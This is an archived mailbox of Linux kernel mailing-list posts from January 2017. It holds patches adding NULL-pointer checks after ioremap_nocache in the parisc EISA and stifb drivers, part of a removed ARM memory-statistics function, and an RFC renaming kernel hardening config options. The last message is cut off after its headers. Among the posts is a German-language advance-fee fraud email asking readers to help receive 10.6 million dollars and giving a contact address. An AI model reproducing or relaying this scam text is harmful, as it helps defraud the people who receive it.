-		pfn2 = bank_pfn_end(bank);
-
-		page = pfn_to_page(pfn1);
-		end  = pfn_to_page(pfn2 - 1) + 1;
-
-		do {
-			total++;
-			if (PageReserved(page))
-				reserved++;
-			else if (PageSwapCache(page))
-				cached++;
-			else if (PageSlab(page))
-				slab++;
-			else if (!page_count(page))
-				free++;
-			else
-				shared += page_count(page) - 1;
-			page++;
-		} while (page < end);
-	}
-
-	printk(KERN_DEFAULT "%d pages of RAM\n", total);
-	printk(KERN_DEFAULT "%d free pages\n", free);
-	printk(KERN_DEFAULT "%d reserved pages\n", reserved);
-	printk(KERN_DEFAULT "%d slab pages\n", slab);
-	printk(KERN_DEFAULT "%d pages shared\n", shared);
-	printk(KERN_DEFAULT "%d pages swap cached\n", cached);
-}
-
 static void __init find_limits(unsigned long *min, unsigned long *max_low,
 	unsigned long *max_high)
 {
-- 
2.11.0

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v1] parisc : eisa :- Prevent resource leake and NULL error in error path
Date: Wed, 18 Jan 2017 13:41:31 +0530
Lines: 65
Approved: news@gmane.org
Message-ID: <1484727091-2357-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1484727477 26008 195.159.176.226 (18 Jan 2017 08:17:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 18 Jan 2017 08:17:57 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: jejb@parisc-linux.org, deller@gmx.de
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 18 09:17:48 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cTlR7-0005Nd-FW
	for glk-linux-kernel-3@m.gmane.org; Wed, 18 Jan 2017 09:17:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751328AbdARIOA (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 18 Jan 2017 03:14:00 -0500
Original-Received: from mail-pg0-f68.google.com ([74.125.83.68]:34252 "EHLO
        mail-pg0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751157AbdARIN6 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 18 Jan 2017 03:13:58 -0500
Original-Received: by mail-pg0-f68.google.com with SMTP id t6so778906pgt.1;
        Wed, 18 Jan 2017 00:12:04 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=RMdN0VuX51bEmcRhmhsElzqSCRP1qnkBdVj3Ev9erc0=;
        b=INgN5db5T8mT0m9Ym3VVc1eFANbHC8LEhFpZp8iQqGxpli9UteVRvM5VItVUAQL7sD
         aeQKkeQfxepYf4UcO1/h5SbaYAx3bymmYJSpinrgp6+10s5DX6vxTfZgtZybBgIpHt+U
         sWv0JUgeuOjfD+96EhNZ7DXmZXs9qvddrZdl1wo+tn4yAJ7Hz66Zxn9P/6PngCorVSYz
         A44606VS1kriape1/UXO5g4jMcmHOG0+f3Uyw0+DLuC7McKrvte6FVBenLgTAtVpv5Wp
         nvDF3N7hpQvPuoLpXgzLW14ojtdnvfF+SP3XZjBbl4u/ptBamCVWeGYsm18Zr/USmIkV
         ag9A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=RMdN0VuX51bEmcRhmhsElzqSCRP1qnkBdVj3Ev9erc0=;
        b=Zj2vMXmRhLCZO0UaIyntntAve1Sx2a6vzqhT1USKImJAb1j27jt2fEpSqc4Fnez+d3
         QFZGwpFfnW5rED3uaJlfgmx85yLSmFlbSO9xfYPdPI3LFKFTu3O9ljdNHM/uuEy25ZuS
         X+h6XhfYZ4KlYhGXxhuFS0I9unpovR4PNsB7diRSUtZzbtlGdbXyAtAGX5UvGmj+OQqS
         e7/o9UI4SSEKhO6S+E44sZ+d/XHUlknHUTSO+gMouOKKRlmdy4+IveQjmOGaw3gEsX/p
         mVZz6xzmWTwgx2+uUzUtBmJ3uh8fljoh2L696P5d9//plGuLPNUmAhXhdiQzdzJ3Fxc8
         0f3w==
X-Gm-Message-State: AIkVDXKABsBZefq+hHv4oiXmfwi7d8XNjg4+X1SzAJsN5aae8tS9TbXyhrWiOqCmbSjTOg==
X-Received: by 10.84.150.129 with SMTP id h1mr3235947plh.9.1484727124425;
        Wed, 18 Jan 2017 00:12:04 -0800 (PST)
Original-Received: from symbol-HP-Z420-Workstation.zebra.lan ([223.31.70.102])
        by smtp.googlemail.com with ESMTPSA id b1sm11818861pfa.28.2017.01.18.00.12.01
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Wed, 18 Jan 2017 00:12:03 -0800 (PST)
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2390589 gmane.linux.ports.parisc:27204
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2390589>

Here, If ioremap_nocache will fail. It will return NULL.
Kernel can run into a NULL-pointer dereference.

If eisa_probe will fail, Handle ERROR properly.
 -Release resource
 -Free irq line.
 -Unmap I/O memory from kernel address space.

Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
---
 drivers/parisc/eisa.c | 18 ++++++++++++++++--
 1 file changed, 16 insertions(+), 2 deletions(-)

diff --git a/drivers/parisc/eisa.c b/drivers/parisc/eisa.c
index 103095b..2c7f90f 100644
--- a/drivers/parisc/eisa.c
+++ b/drivers/parisc/eisa.c
@@ -334,7 +334,7 @@ static int __init eisa_probe(struct parisc_device *dev)
 	result = request_irq(dev->irq, eisa_irq, IRQF_SHARED, "EISA", &eisa_dev);
 	if (result) {
 		printk(KERN_ERR "EISA: request_irq failed!\n");
-		return result;
+		goto error_release;
 	}
 	
 	/* Reserve IRQ2 */
@@ -358,6 +358,11 @@ static int __init eisa_probe(struct parisc_device *dev)
 		}
 	}
 	eisa_eeprom_addr = ioremap_nocache(eisa_dev.eeprom_addr, HPEE_MAX_LENGTH);
+	if (!eisa_eeprom_addr) {
+		result = -ENOMEM;
+		printk(KERN_ERR "EISA: ioremap_nocache failed!\n");
+		goto error_free_irq;
+	}
 	result = eisa_enumerator(eisa_dev.eeprom_addr, &eisa_dev.hba.io_space,
 			&eisa_dev.hba.lmmio_space);
 	init_eisa_pic();
@@ -371,12 +376,21 @@ static int __init eisa_probe(struct parisc_device *dev)
 		eisa_dev.root.slots = result;
 		eisa_dev.root.dma_mask = 0xffffffff; /* wild guess */
 		if (eisa_root_register (&eisa_dev.root)) {
+			result = -ENOMEM;
 			printk(KERN_ERR "EISA: Failed to register EISA root\n");
-			return -1;
+			goto error_iounmap;
 		}
 	}
 	
 	return 0;
+
+error_iounmap:
+	iounmap(eisa_eeprom_addr);
+error_free_irq:
+	free_irq(dev->irq, &eisa_dev);
+error_release:
+	release_resource(&eisa_dev.hba.io_space);
+	return result;
 }
 
 static const struct parisc_device_id eisa_tbl[] = {
-- 
1.9.1



From - Thu Nov 08 21:39:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: tester@aldems.lv
Newsgroups: gmane.linux.ports.parisc
Subject: =?utf-8?q?Gesch=C3=A4ftsvorschlag?=
Date: Sun, 15 Jan 2017 04:52:50 +0530
Lines: 10
Approved: news@gmane.org
Message-ID: <1484436417102132344__24508.1464680426$1484734606$gmane$org@mail>
Reply-To: arnoldkristoferson101@gmail.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1484734606 6916 195.159.176.226 (18 Jan 2017 10:16:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 18 Jan 2017 10:16:46 +0000 (UTC)
To: Recipients <tester@aldems.lv>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 18 11:16:39 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cTnHq-0006c6-24
	for glpp-linux-parisc@m.gmane.org; Wed, 18 Jan 2017 11:16:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752649AbdARKPE convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 18 Jan 2017 05:15:04 -0500
Original-Received: from mail.aldems.lv ([93.177.192.35]:50951 "EHLO aldems.lv"
        rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org with ESMTP
        id S1752362AbdARKNy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 18 Jan 2017 05:13:54 -0500
Original-Received: (qmail 32362 invoked by uid 210); 14 Jan 2017 23:26:57 -0000
Original-Received: from 196.207.127.2 (tester@aldems.lv@196.207.127.2) by mail (envelope-from <tester@aldems.lv>, uid 201) with qmail-scanner-2.08st 
 (clamdscan: 0.96.1/21891. spamassassin: 3.3.1. perlscan: 2.08st.  
 Clear:RC:1(196.207.127.2):. 
 Processed in 0.018182 secs); 14 Jan 2017 23:26:57 -0000
Original-Received: from unknown (HELO hp-HP.Home) (tester@aldems.lv@196.207.127.2)
  by 0 with ESMTPA; 14 Jan 2017 23:26:57 -0000
Content-Description: Mail message body
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27205
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27205>

Lieber Freund.

Erlauben Sie mir, auf diese Weise auf Sie zuzugehen. Ich bin Dr. Arnold Kristofferson, ein US-Auftragnehmer, der mit Nichtkmpfer US Marine in Ba'qubah, Irak arbeitet. Ich habe die Summe von 10,6 Millionen Dollar, die ich aus einem Rohl-Deal gemacht habe, und ich mchte, dass Sie mir helfen, es zu erhalten. Da ich hier auf offizieller Kapazitt arbeite, kann ich diesen Fonds nicht bei mir behalten und dies ist mein einziger Grund fr die Kontaktaufnahme mit Ihnen. Wenn Sie interessiert sind und Sie diesen Fonds in Ihrer Kapazitt erhalten knnen, melden Sie sich bitte bei mir, damit ich Ihnen weitere Details geben kann, wie Sie dieses Geld fr mich erhalten knnen. Bitte erreichen Sie mich per E-Mail: arnoldkristoferson101@gmail.com
Mit freundlichen Gren.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v1] video : fbdev : stifb :- Handle return NULL error from ioremap_nocache.
Date: Wed, 18 Jan 2017 15:51:51 +0530
Lines: 28
Approved: news@gmane.org
Message-ID: <1484734911-5299-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1484735440 2427 195.159.176.226 (18 Jan 2017 10:30:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 18 Jan 2017 10:30:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-fbdev@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: jejb@parisc-linux.org, deller@gmx.de, b.zolnierkie@samsung.com
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 18 11:30:35 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cTnVZ-0007rX-IF
	for glk-linux-kernel-3@m.gmane.org; Wed, 18 Jan 2017 11:30:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752357AbdARKaW (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 18 Jan 2017 05:30:22 -0500
Original-Received: from mail-pf0-f196.google.com ([209.85.192.196]:32988 "EHLO
        mail-pf0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751668AbdARKaT (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 18 Jan 2017 05:30:19 -0500
Original-Received: by mail-pf0-f196.google.com with SMTP id e4so883602pfg.0;
        Wed, 18 Jan 2017 02:30:15 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=Z9NYXPYKbVjcixvHY4j9G/SaouGhm9PyiDGGvmTdZLI=;
        b=tDpJYudRgGxapnT6eSuMi1BPb1qstl6bCGH2YeEZ+kxfdG+WFLJy//6GvHLMNyuMKF
         +ldIHdgq3nCCZ0mQNkN5JqLA5TRvqjU8tGb7E7YmriVB3sHzX/5qKK+8+7inhxVmC8Qa
         7OpHS7dV6lXLoyX1asfVRFFdv8FRi1KkwTIyaXKX06zWWiKtuRf2OYH+1hXyyIEv+Exx
         mn15huOiA4FccSEAi0pwTjIWNq2Bgr746NxP2BexNJWG24bFumCQfM9bhZhaH36Tjj75
         D9SJXSGkz9S2Jf2JDqgK1uiJh1WJAd4bQG0ohLOVwjadkCLO1Evq6BuwzZN1QxC9NOBM
         +ljA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=Z9NYXPYKbVjcixvHY4j9G/SaouGhm9PyiDGGvmTdZLI=;
        b=dQtFRJYolhMnuAQb8cnKWOfYqxdUGg+iBK0BFJs/tACD2vZVZKDWBHDlUYItfiI+dS
         kUTdgiXT9Lyfmf3/jJczr0sN1H3IMLgrG6FmKvhsHMk03T+QzFDRCi9DrahOTYmxf8rF
         h01twbHTQjmt837yIqXMG1F0qgjEM8kWFsKa0qQACP66HErjswdfnSGP/JrwhgW7NmaE
         CFHpLYoVfR5cVPjt6yv4u+FJTqL2/Jng3uQRZGStO6tt3pv5nqszab8spcBjtchTZAJH
         08CSyyEWGtOo+nTSj0rlOogcAGX3YEsEdNdPuy0+9CCWFA2P35ZxzwHpyPDNu6MpxDaG
         cPGw==
X-Gm-Message-State: AIkVDXJpd73OcJf+cTvBkSoPTVJ55VasvF+huj2mNpRCrFNT1y9qLze4c5XEIpVw5jcgqw==
X-Received: by 10.99.209.85 with SMTP id c21mr3070650pgj.103.1484734944223;
        Wed, 18 Jan 2017 02:22:24 -0800 (PST)
Original-Received: from symbol-HP-Z420-Workstation.zebra.lan ([223.31.70.102])
        by smtp.googlemail.com with ESMTPSA id w65sm62547233pfw.9.2017.01.18.02.22.21
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Wed, 18 Jan 2017 02:22:23 -0800 (PST)
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2390712 gmane.linux.ports.parisc:27206
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2390712>

Here, If ioremap_nocache will fail. It will return NULL.
Kernel can run into a NULL-pointer dereference.
This error check will avoid NULL pointer dereference.

Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
---
 drivers/video/fbdev/stifb.c | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/drivers/video/fbdev/stifb.c b/drivers/video/fbdev/stifb.c
index accfef7..d5deab3 100644
--- a/drivers/video/fbdev/stifb.c
+++ b/drivers/video/fbdev/stifb.c
@@ -1294,6 +1294,10 @@ static int __init stifb_init_fb(struct sti_struct *sti, int bpp_pref)
 	strcpy(fix->id, "stifb");
 	info->fbops = &stifb_ops;
 	info->screen_base = ioremap_nocache(REGION_BASE(fb,1), fix->smem_len);
+	if (!info->screen_base) {
+		printk(KERN_ERR "stifb: Failed to Map memory\n");
+		goto out_err0;
+	}
 	info->screen_size = fix->smem_len;
 	info->flags = FBINFO_DEFAULT | FBINFO_HWACCEL_COPYAREA;
 	info->pseudo_palette = &fb->pseudo_palette;
-- 
1.9.1



From - Thu Nov 08 21:39:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Laura Abbott <labbott@redhat.com>
Newsgroups: gmane.linux.kernel.hardened.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general
Subject: [RFC][PATCH 0/2] Better hardening names
Date: Wed, 18 Jan 2017 17:29:04 -0800
Lines: 63
Approved: news@gmane.org
Message-ID: <1484789346-21012-1-git-send-email-labbott@redhat.com>
Reply-To: kernel-hardening@lists.openwall.com
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1484789380 2772 195.159.176.226 (19 Jan 2017 01:29:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Jan 2017 01:29:40 +0000 (UTC)
Cc: Laura Abbott <labbott@redhat.com>,
	Jason Wessel <jason.wessel@windriver.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Ingo Molnar <mingo@redhat.com>,
	"H. Peter Anvin" <hpa@zytor.com>,
	x86@kernel.org,
	Rob Herring <robh@kernel.org>,
	"Rafael J. Wysocki" <rjw@rjwysocki.net>,
	Len Brown <len.brown@intel.com>,
	Pavel Machek <pavel@ucw.cz>,
	Mark Rutland <mark.rutland@arm.com>,
	Jessica Yu <jeyu@redhat.com>,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org,
	li
To: Kees Cook <keescook@chromium.org>
Original-X-From: kernel-hardening-return-6071-glkh-kernel-hardening=m.gmane.org@lists.openwall.com Thu Jan 19 02:29:34 2017
Return-path: <kernel-hardening-return-6071-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>
Envelope-to: glkh-kernel-hardening@m.gmane.org
Original-Received: from mother.openwall.net ([195.42.179.200])
	by blaine.gmane.org with smtp (Exim 4.84_2)
	(envelope-from <kernel-hardening-return-6071-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>)
	id 1cU1XX-0007cC-Nb
	for glkh-kernel-hardening@m.gmane.org; Thu, 19 Jan 2017 02:29:23 +0100
Original-Received: (qmail 12278 invoked by uid 550); 19 Jan 2017 01:29:27 -0000
Mailing-List: contact kernel-hardening-help@lists.openwall.com; run by ezmlm
Precedence: bulk
List-Post: <mailto:kernel-hardening@lists.openwall.com>
List-Help: <mailto:kernel-hardening-help@lists.openwall.com>
List-Unsubscribe: <mailto:kernel-hardening-unsubscribe@lists.openwall.com>
List-Subscribe: <mailto:kernel-hardening-subscribe@lists.openwall.com>
List-ID: <kernel-hardening.lists.openwall.com>
Delivered-To: mailing list kernel-hardening@lists.openwall.com
Original-Received: (qmail 12253 invoked from network); 19 Jan 2017 01:29:26 -0000
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=o7waZq614gGGE7JLCf0/G+C9GOS9ZvcsJJxXZaXqJew=;
        b=Xj++5FUbzrKipAXxr5Ba50ymbgnUDZ4iWc40qJtOy/l6Hvab7nmkOqL6/yQJ6XEaVD
         F35p7+U9FjgHEqWi3I2anxY93E71BiA8PsDsXJORz9YmSM+CQX4i6UWlXvOO6NVzJQ5K
         hRcd+8Z1EHecICo4EabQWG+36LnuQdWYEKmsSWQNS6aCWDRAM41q9m10h/S7Zd+o0IAh
         rKI1QzoNsweNeRogeGeNoJZb8riQ75aKppuq9hZfHAFXKBv7qDpcoa20WDMZJbObm5kb
         RyW9expOsrKdBWHpHyspLsvKWAgAxlu0p8PDLHYe9dGggTACxMMKh8aPZs2GaLWAQKD/
         33tg==
X-Gm-Message-State: AIkVDXL8T9cRODEsY+EYgDX7efHu2rGsSJN/WFXFPVoUCPjH4mKNYBJuu2sgYd+A7Chzt4iW
X-Received: by 10.200.37.125 with SMTP id 58mr5902841qtn.232.1484789354732;
        Wed, 18 Jan 2017 17:29:14 -0800 (PST)
X-Mailer: git-send-email 2.7.4
Xref: news.gmane.org gmane.linux.kernel.hardened.devel:5224 gmane.linux.documentation:44400 gmane.linux.kernel:2391617 gmane.linux.ports.arm.kernel:552030 gmane.linux.ports.parisc:27207 gmane.linux.power-management.general:85530
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.hardened.devel/5224>

Hi,

It's come up previously that CONFIG_DEBUG_SET_MODULE_RONX and
CONFIG_DEBUG_RODATA are not accurate names, mostly they should not have the
word 'debug' in them. This series attempts to change the names to something
a bit more descriptive and indicative of what they are actually used for these
days.

I marked this RFC for
- Bike shedding purposes.
- A discussion of what defaults should be. The way I did the refactoring, both
  options are default y. I'd appreciate comments if there is a better approach.
- Approach to split this up into more sub patches to make review/merging easier?
  Or maybe it's fine.

Quickly tested on arm/arm64/x86.

Thanks,
Laura

Laura Abbott (2):
  security: Change name of CONFIG_DEBUG_RODATA
  security: Change name of CONFIG_DEBUG_SET_MODULE_RONX

 Documentation/DocBook/kgdb.tmpl            |  8 ++++----
 Documentation/security/self-protection.txt |  4 ++--
 arch/arm/Kconfig                           |  2 ++
 arch/arm/Kconfig.debug                     | 11 ----------
 arch/arm/configs/aspeed_g4_defconfig       |  4 ++--
 arch/arm/configs/aspeed_g5_defconfig       |  4 ++--
 arch/arm/include/asm/cacheflush.h          |  2 +-
 arch/arm/kernel/patch.c                    |  4 ++--
 arch/arm/kernel/vmlinux.lds.S              |  8 ++++----
 arch/arm/mm/Kconfig                        | 14 +------------
 arch/arm/mm/init.c                         |  4 ++--
 arch/arm64/Kconfig                         |  5 ++---
 arch/arm64/Kconfig.debug                   | 13 +-----------
 arch/arm64/kernel/insn.c                   |  2 +-
 arch/parisc/Kconfig                        |  1 +
 arch/parisc/Kconfig.debug                  | 11 ----------
 arch/parisc/configs/712_defconfig          |  2 +-
 arch/parisc/configs/c3000_defconfig        |  2 +-
 arch/parisc/mm/init.c                      |  2 +-
 arch/s390/Kconfig                          |  5 ++---
 arch/s390/Kconfig.debug                    |  3 ---
 arch/x86/Kconfig                           |  5 ++---
 arch/x86/Kconfig.debug                     | 11 ----------
 include/linux/filter.h                     |  4 ++--
 include/linux/init.h                       |  4 ++--
 include/linux/module.h                     |  2 +-
 init/main.c                                |  4 ++--
 kernel/configs/android-recommended.config  |  2 +-
 kernel/module.c                            |  6 +++---
 kernel/power/hibernate.c                   |  2 +-
 kernel/power/power.h                       |  4 ++--
 kernel/power/snapshot.c                    |  4 ++--
 security/Kconfig                           | 32 ++++++++++++++++++++++++++++++
 33 files changed, 82 insertions(+), 109 deletions(-)

-- 
2.7.4



From - Thu Nov 08 21:39:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Laura Abbott <labbott@redhat.com>
Newsgroups: gmane.linux.kernel.hardened.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general
Subject: [PATCH 1/2] security: Change name of CONFIG_DEBUG_RODATA
Date: Wed, 18 Jan 2017 17:29:05 -0800
Lines: 525
Approved: news@gmane.org
Message-ID: <1484789346-21012-2-git-send-email-labbott@redhat.com>
References: <1484789346-21012-1-git-send-email-labbott@redhat.com>
Reply-To: kernel-hardening@lists.openwall.com
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1484789393 6178 195.159.176.226 (19 Jan 2017 01:29:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Jan 2017 01:29:53 +0000 (UTC)
Cc: Laura Abbott <labbott@redhat.com>,
	Jason Wessel <jason.wessel@windriver.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Ingo Molnar <mingo@redhat.com>,
	"H. Peter Anvin" <hpa@zytor.com>,
	x86@kernel.org,
	Rob Herring <robh@kernel.org>,
	"Rafael J. Wysocki" <rjw@rjwysocki.net>,
	Len Brown <len.brown@intel.com>,
	Pavel Machek <pavel@ucw.cz>,
	Mark Rutland <mark.rutland@arm.com>,
	Jessica Yu <jeyu@redhat.com>,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org,
	li
To: Kees Cook <keescook@chromium.org>
Original-X-From: kernel-hardening-return-6072-glkh-kernel-hardening=m.gmane.org@lists.openwall.com Thu Jan 19 02:29:44 2017
Return-path: <kernel-hardening-return-6072-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>
Envelope-to: glkh-kernel-hardening@m.gmane.org
Original-Received: from mother.openwall.net ([195.42.179.200])
	by blaine.gmane.org with smtp (Exim 4.84_2)
	(envelope-from <kernel-hardening-return-6072-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>)
	id 1cU1Xc-00085o-Oq
	for glkh-kernel-hardening@m.gmane.org; Thu, 19 Jan 2017 02:29:28 +0100
Original-Received: (qmail 13815 invoked by uid 550); 19 Jan 2017 01:29:31 -0000
Mailing-List: contact kernel-hardening-help@lists.openwall.com; run by ezmlm
Precedence: bulk
List-Post: <mailto:kernel-hardening@lists.openwall.com>
List-Help: <mailto:kernel-hardening-help@lists.openwall.com>
List-Unsubscribe: <mailto:kernel-hardening-unsubscribe@lists.openwall.com>
List-Subscribe: <mailto:kernel-hardening-subscribe@lists.openwall.com>
List-ID: <kernel-hardening.lists.openwall.com>
Delivered-To: mailing list kernel-hardening@lists.openwall.com
Original-Received: (qmail 13702 invoked from network); 19 Jan 2017 01:29:30 -0000
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=3N81gWBg1zzKcS1Df79Z0eS3YIhk3VwWhJ6jgGkWBWI=;
        b=pae9t46abbxPDrkkocUHv9QMY4Qkx/h0WnLSYoV7YA9CqQr2amIPxzhNpBxj+S22Ly
         jRRamSsH5aAMNN00bqRJidVHkwiXEo0AtOtqxmix2OkG9sS/AF+5UZ0VQM85zrArvvec
         Jl/POP6E8CbM4tk1oJBtObmoJcULonGo0EAf75b0HFV/pCqmrUhknhS0a98WwHinGAD/
         c0raTHAuEtseWB/Iq/PQSuJMVzN4/EnuoixCTKmrAzih966Wz+F+G2NL0oqBozCU97Z8
         HoacpD6+kSH2hDahFjHx/pTZlEx9EMSJgWcvP6fR7a50aInRUPujlSsgZQY6gwV8KfVH
         4LAg==
X-Gm-Message-State: AIkVDXI1bjlidyDGuvkoz4jfAtAed+A/DhUuppWb/fPpgo5HXK7seGb+3JyAz5jCdfJ6oFcU
X-Received: by 10.200.41.153 with SMTP id 25mr3515035qts.108.1484789358705;
        Wed, 18 Jan 2017 17:29:18 -0800 (PST)
